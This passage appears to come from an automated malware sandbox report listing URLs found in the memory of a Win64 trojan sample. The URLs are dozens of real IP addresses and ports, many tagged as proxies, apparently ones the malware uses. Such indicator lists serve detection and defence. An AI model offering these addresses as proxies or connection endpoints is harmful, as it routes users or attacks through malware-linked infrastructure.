Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.0.43:4481://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.104.58
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.104.58://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.110.26
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.110.26://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.110.26:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.172.74
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.231.172.74://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.233.111.162:32100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.233.111.162:32100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.234.24.129:32100
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.234.24.129:32100://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.237.207.186
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.237.207.186://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.237.207.186:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.16
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.16://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.16:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.17
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.17://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.17:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.18
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.18://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.18:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.19
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.19://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.239.72.19:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.62.134.139:36916
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.62.134.139:36916://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.62.134.139:62607
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.62.134.139:62607://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8296000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7ECD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:10647
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7ECD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:10647://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:2953
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:2953://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:32423
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:32423://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:3580
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:3580://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:61797
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.101:61797://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C770F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:14738
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C770F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:14738://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:23065
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:23065://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:23859
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:23859://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:30920
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:30920://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:30920x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:34644
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:34644://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:40838
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:40838://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:50781
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:50781://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB025000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C94C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:58507
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9164000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:58507://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:61464
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.12.33:61464://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:11673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:11673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:12035
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:12035://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:12539
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:12539://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:1938
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:1938://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:25710
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:25710://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:30704
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:30704://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:34677
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:34677://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:34677x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:4214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:4214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:44392
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:44392://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:53005
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:53005://proxyHJ
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCA0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:6164
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBCA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://50.63.13.3:6164://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C696E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.12.224:5214
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6942000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.12.224:5214://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.125.244:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.125.244:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.139.59:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.139.59:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.142.4:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.142.4:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.142.4:16379x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.196.107:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.196.107:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.209.188:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.209.188:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:51448
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:51448://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:61810
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:61810://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:62389
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:62389://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:63425
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:63425://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:64202
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.21.216:64202://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6904000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C691C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.210.79:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C691C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.210.79:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.212.207:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.212.207:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.230.100:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.230.100:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.240.207:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.240.207:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.241.5:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.241.5:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.242.202:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.242.202:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.254.129:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.15.254.129:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.105.107:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.105.107:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.105.203:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.105.203:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.108.165:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.108.165:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.111.76:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.111.76:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDD7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.124.167:16379
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.124.167:16379://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.158.172.165:8811
